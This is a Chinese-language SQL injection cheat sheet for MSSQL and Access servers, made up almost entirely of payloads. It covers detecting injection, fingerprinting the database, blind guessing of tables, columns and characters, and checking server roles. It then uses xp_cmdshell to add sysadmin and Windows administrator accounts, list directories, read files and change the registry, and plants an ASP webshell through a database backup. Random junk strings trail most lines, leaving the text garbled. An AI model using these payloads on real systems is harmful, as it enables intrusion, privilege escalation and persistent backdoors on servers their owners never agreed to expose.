1.判断是否有注入;and 1=1 ;and 1=2 "oQ@.]-#
2.初步判断是否是mssql ;and user>0 m[f\I^\%8
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3.注入参数是字符'and [查询条件] and ''=' xjpW<-)MLf
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 'Vd>"ti
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5.判断数据库系统 vKeK]
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;and (select count(*) from sysobjects)>0 mssql /<@tbZJ*8
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;and (select count(*) from msysobjects)>0 access tj3p71%
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 e(^O8
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 -_3.]o/J
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 :vj buqN]
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9.(1)猜字段的ascii值(access) oaHBz_pg
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0U<9=[~q7@
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(2)猜字段的ascii值(mssql) =ZQIpc
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 #?9oA4Q
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10.测试权限结构(mssql) T1E=<q4
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 5>HI/QG
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Dz?F,g_
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- TsQMwV_h
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- "elh~K
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- {9)f~EbM!
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- mXr)lA
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;and 1=(select IS_MEMBER('db_owner'));-- .f}I$ "2
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11.添加mssql和系统的帐户 [#_ceg1G
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;exec master.dbo.sp_addlogin username;-- 7G/"!ePW6`
;exec master.dbo.sp_password null,username,password;-- -+L1Hid.7
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- W `Soa&9
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;exec master.dbo.xp_cmdshell 'net user username password $j:0*Z=>
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- U+K_eEI0_I
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- +RbCa
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- M1^pW63
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12.(1)遍历目录 0<Y)yNsV
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;create table dirs(paths varchar(100), id int) d;
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;insert dirs exec master.dbo.xp_dirtree 'c:\' k: {$M yK
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;and (select top 1 paths from dirs)>0 =$m|M
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 6} 9A0
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(2)遍历目录 y]/{W}D
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Q/< $ (Y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )P$
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 !u^(<.xJ
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ? 0%lB=qQ
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 *P_TG"^{W
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13.mssql中的存储过程 UZ<!(g.
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xp_regenumvalues 注册表根键, 子键 c<e$6:|xM
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 SO}Hc;Q1`
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xp_regread 根键,子键,键值名 lVqvS/_k$
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;exec xp_regread 0n1y$*I4
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 )]/!:I4e
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xp_regwrite 根键,子键, 值名, 值类型, 值 [E=t{&t
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 bzZEwMc6
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xp_regdeletevalue 根键,子键,值名 vHao
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Chjth"
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 =6? 3c\
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14.mssql的backup创建webshell VDscZt)y8
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use model gvz&ppcG
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create table cmd(str image); Fm*O&6W\@A
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insert into cmd(str) values (''); -FJ5N}R
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backup database model to disk='c:\l.asp'; k{9s>l~'
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15.mssql内置函数 +f|u5c
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;and (select @@version)>0 获得Windows的版本号 4j/8Otn
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Byon2| nf7
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;and (select user_name())>0 爆当前系统的连接用户 lB,.TK
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;and (select db_name())>0 得到当前连接的数据库 Ww@Rewo
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16.简洁的webshell AWGeK-^
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use model BLfoU _Z
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create table cmd(str image); n;4`IK|
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insert into cmd(str) values (''); EpS"NQEe
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backup database model to disk='g:\wwwtest\l.asp';